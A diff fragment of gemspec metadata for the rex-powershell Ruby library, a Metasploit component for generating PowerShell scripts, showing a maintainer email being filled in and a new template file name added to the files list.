description: Ruby Exploitation(Rex) library for generating/manipulating Powershell
|
169
169
|
scripts
|
170
170
|
email:
|
171
|
-
-
|
171
|
+
- msfdev@metasploit.com
|
172
172
|
executables: []
|
173
173
|
extensions: []
|
174
174
|
extra_rdoc_files: []
|
@@ -185,6 +185,7 @@ files:
|
|
185
185
|
- data/templates/to_mem_msil.ps1.template
|
186
186
|
- data/templates/to_mem_old.ps1.template
|
187
187
|
- data/templates/to_mem_pshreflection.ps1.template
|
188
|
+
- data/templates/to_mem_rc4.ps1.template
|
188
189
|
- lib/rex/powershell.rb
|
189
190
|
- lib/rex/powershell/command.rb
|
190
191
|
- lib/rex/powershell/function.rb
|
metadata.gz.sig
CHANGED
Binary file
|